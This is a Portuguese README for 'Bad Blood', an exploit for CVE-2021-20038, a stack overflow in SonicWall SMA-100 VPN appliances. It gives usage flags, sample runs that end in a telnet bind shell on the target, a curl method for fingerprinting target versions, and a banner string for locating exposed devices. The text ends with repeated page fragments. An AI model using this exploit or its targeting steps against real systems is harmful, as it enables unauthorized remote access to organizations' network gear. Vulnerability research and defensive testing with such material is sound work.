Bad Blood

Bad Blood é um exploit para CVE-2021-20038, um buffer overflow baseado em pilha no binário httpd de sistemas da série SMA-100 que usam versões de firmware 10.2.1.x. Escrevi muitos dos detalhes técnicos aqui:

AttackerKB CVE-2021-20038

O exploit, como escrito, abrirá um shell telnet bind na porta 1270. Um atacante que se conectar ao shell obterá execução como nobody.

Exemplo de Saída```

albinolobster@ubuntu:~~/badblood$ date Mon Jan 10 01:15:12 PM PST 2022 albinolobster@ubuntu:~~/badblood$ python3 badblood.py --rhost 10.0.0.7 --lhost 10.0.0.3 --rversion 10.2.1.2-24sv

▄▄▄▄ ▄▄▄ ▓█████▄ ▄▄▄▄ ██▓ ▒█████ ▒█████ ▓█████▄
▓█████▄ ▒████▄ ▒██▀ ██▌ ▓█████▄ ▓██▒ ▒██▒ ██▒▒██▒ ██▒▒██▀ ██▌
▒██▒ ▄██▒██ ▀█▄ ░██ █▌ ▒██▒ ▄██▒██░ ▒██░ ██▒▒██░ ██▒░██ █▌ ▒██░█▀ ░██▄▄▄▄██ ░▓█▄ ▌ ▒██░█▀ ▒██░ ▒██ ██░▒██ ██░░▓█▄ ▌ ░▓█ ▀█▓ ▓█ ▓██▒░▒████▓ ░▓█ ▀█▓░██████▒░ ████▓▒░░ ████▓▒░░▒████▓ ░▒▓███▀▒ ▒▒ ▓▒█░ ▒▒▓ ▒ ░▒▓███▀▒░ ▒░▓ ░░ ▒░▒░▒░ ░ ▒░▒░▒░ ▒▒▓ ▒ ▒░▒ ░ ▒ ▒▒ ░ ░ ▒ ▒ ▒░▒ ░ ░ ░ ▒ ░ ░ ▒ ▒░ ░ ▒ ▒░ ░ ▒ ▒
░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ▒ ░ ░ ░ ▒ ░ ░ ░
░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
░ ░ ░ ░

[+] Spinning up HTTP server [+] User did not provide an address. We'll guess it. [+] Generated 2047 base addresses [+] Generated 1046017 total addresses to search [+] Filtering addresses for double visits (thanks awesome payload!) [+] Filtered down to 235533 total addresses to search [+] Crashing all forks to reset stack to a semi-predicatable state [+] Crashing complete. Good job. Let's go do work. [+] Disabling stderr [+] Spawning 4 workers [+] Attempting to exploit the remote server. This might take quite some time. :eek: [%] Addresses Tested: 70% [] Received an HTTP callback from 10.0.0.7 at 10/Jan/2022 14:38:03 [] Now we got bad blood. Hey! 🦞 albinolobster@ubuntu:~/badblood$ telnet 10.0.0.7 1270 Trying 10.0.0.7... Connected to 10.0.0.7. Escape character is '^]'.

bash-4.2$ whoami nobody bash-4.2$ uname -a Linux sslvpn 3.13.3 #1 SMP Tue Oct 12 09:52:15 GMT 2021 i686 i686 i386 GNU/Linux bash-4.2$

## Versões Suportadas

| Versão | Suportada | Testada | Alvo Testado |
| - | - | - | - |
| 10.2.1.2-24sv | Sim | :heavy_check_mark: | SMA 500v ESX |
| 10.2.1.1-19sv | Sim | :heavy_check_mark: | SMA 500v ESX |
| 10.2.1.0-17sv | Sim | :heavy_check_mark: | SMA 500v ESX |

## Uso

No mínimo, você precisará fornecer:

* rhost: o endereço IP do host remoto
* lhost: o endereço IP do host local
* version: a versão do alvo.

Leia as notas de estabilidade para contexto adicional.

Uma pergunta óbvia é como obter a versão do alvo. Uma simples solicitação `curl` ao alvo revelará que eles usam o número da versão para o versionamento de `css` e `js`.```
albinolobster@ubuntu:~$ curl --insecure https://10.0.0.7/cgi-bin/welcome
...
<link href='/swl_login.10.2.1.2-24sv.css' type='text/css' rel='stylesheet'>
<link href='/swl_header.10.2.1.2-24sv.css' type='text/css' rel='stylesheet'>
<link href='/sma_content_overrides.10.2.1.2-24sv.css' type='text/css' rel='stylesheet'>
<link href='/sma_login_overrides.10.2.1.2-24sv.css' type='text/css' rel='stylesheet'>
<link href="/notificationbar.10.2.1.2-24sv.css" type="text/css" rel="stylesheet">
<script src="/js/jquery.10.2.1.2-24sv.js" type="text/javascript" charset="utf-8"></script>

O módulo do Metasploit para o CVE-2021-20039 analisa isso, mas eu não tive coragem de fazer o mesmo para este exploit. Observe que, se você estiver escaneando seu ambiente em busca dessas coisas, acredito que o "Server: SonicWall SSL-VPN Web Server" seja o mais confiável. Cerca de 22 mil em janeiro de 2022.

Saída de Ajuda```

albinolobster@ubuntu:~/badblood$ python3 badblood.py --help

usage: badblood.py [-h] --rhost RHOST [--rport RPORT] --lhost LHOST [--rversion RVERSION] [--rhostname RHOSTNAME] [--supported-versions] [--workers WORKERS] [--nocrash] [--enable-stderr] [--addr ADDR] [--top-addr TOP_ADDR]

SonicWall SMA-100 Series Stack-Buffer Overflow Exploit (CVE-2021-20038)

optional arguments: -h, --help show this help message and exit --supported-versions The list of supported SMA-100 versions --workers WORKERS The number of workers to spew the exploit --nocrash Stops the exploit from sending a series of crash payload to start --enable-stderr Enable stderr for debugging --addr ADDR Test only. If you know the crash address, go wild. --top-addr TOP_ADDR Test only. If you know the stack's top address, go wild.

required arguments: --rhost RHOST The IPv4 address to connect to --rport RPORT The port to connect to --lhost LHOST The address to connect back to --rversion RVERSION The version of the remote target --rhostname RHOSTNAME The hostname of the remote target target

### --addr vs. --top-addr vs. sem opção

Existem três modos principais de operação. O primeiro é o modo esperado (adivinhação de endereços). Os outros dois são principalmente para fins de teste.

#### Não sei nenhum endereço!

Este é o estado padrão e não há problema! Vamos apenas adivinhar bastante.

#### Sei o endereço do topo da pilha!

Ótimo! Se você puder usar cat maps ou fazer alguma outra mágica:```
bfa29000-bfa4a000 rw-p 00000000 00:00 0          [stack]

Você pode usar o parâmetro --top_addr e reduzir o tempo de ataque para apenas alguns segundos!``` albinolobster@ubuntu:~~/badblood$ date Mon Jan 10 05:42:19 PM PST 2022 albinolobster@ubuntu:~~/badblood$ python3 badblood.py --rhost 10.0.0.7 --lhost 10.0.0.3 --rversion 10.2.1.2-24sv --top-addr 3215237120

badblood

Mais Populares

Bad Blood

Exemplo de Saída```

Saída de Ajuda```